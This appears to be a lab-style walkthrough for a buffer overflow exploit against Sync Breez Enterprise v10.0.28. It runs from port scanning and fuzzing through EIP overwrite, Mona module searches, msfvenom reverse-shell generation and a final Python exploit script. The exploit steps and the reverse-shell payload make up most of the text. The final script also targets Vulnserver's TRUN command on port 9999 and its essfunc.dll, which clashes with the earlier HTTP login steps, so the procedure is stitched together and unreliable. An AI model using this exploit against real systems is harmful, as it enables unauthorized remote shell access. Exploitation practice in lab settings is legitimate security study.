Sync Breez Enterprize

Sync Breez Enterprize v10.0.28

1. Initial Reconnaissance

• Port Scanning:

  sudo nmap <IP>

  Identify open ports. In this case, port 80 is open.

• Discover Service and Version: Open Firefox, visit the HTTP page, and find the service version:

  Sync Breez Enterprise v10.0.28

• Discover Communication Method: Use Wireshark to capture communication between your machine and the server in a local lab.

2. Fuzzing

• Simulation: Python script to simulate communication and fuzz the application for potential vulnerabilities.

  # Fuzzing Script
  while True:
      payload = "username=" + 'A' * c + "&password=1234"
      request = "POST /login HTTP/1.1\r\n" + "...other headers...\r\n" + payload
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect(("192.168.1.4", 80))
      s.send(request.encode())
      s.close()
      c += 100
      time.sleep(5)

3. Finding the Offset

• Generate a pattern using Metasploit's pattern_create.rb:

  /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

• Use this pattern in the script and find the offset:

  offset = ""  # Paste the pattern generated by pattern_create.rb

4. Overwriting the EIP

• Use a payload script with the EIP overwritten:

  # Example payload with EIP set to 42424242
  shellcode = "A" * 2003 + "B" * 4 + "\x42\x42\x42\x42" + "C" * (3000 - 2003 - 4)

5. Finding Bad Characters

• Generate a payload to identify bad characters:

  # Example payload for finding bad characters
  badchars = "\x01\x02\x03\x04\x05..."  # List of all possible characters

6. Finding the Right Module

• Use Mona to find modules and identify JMP ESP addresses:

  !mona modules
  !mona find -s "\xff\xe4" -m essfunc.dll

7. Generating Shellcode

• Use MSFVenom to generate shellcode:

  msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f c

8. Gaining Root

• Update the Python script with the generated shellcode and listen for the connection using Netcat.

# Final script
import sys, socket
from time import sleep

overflow = b"\xb8\x5c\x1e\x35\x96\xd9..."  # Generated shellcode
shellcode = b"A" * 2003 + b"B" * 4 + b"\x42\x42\x42\x42" + b"\x90" * 16 + overflow

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.4.104', 9999))
    payload = b"TRUN /.:/" + shellcode
    s.send(payload)
    s.close()
except:
    print("Error connecting to the server")
    sys.exit()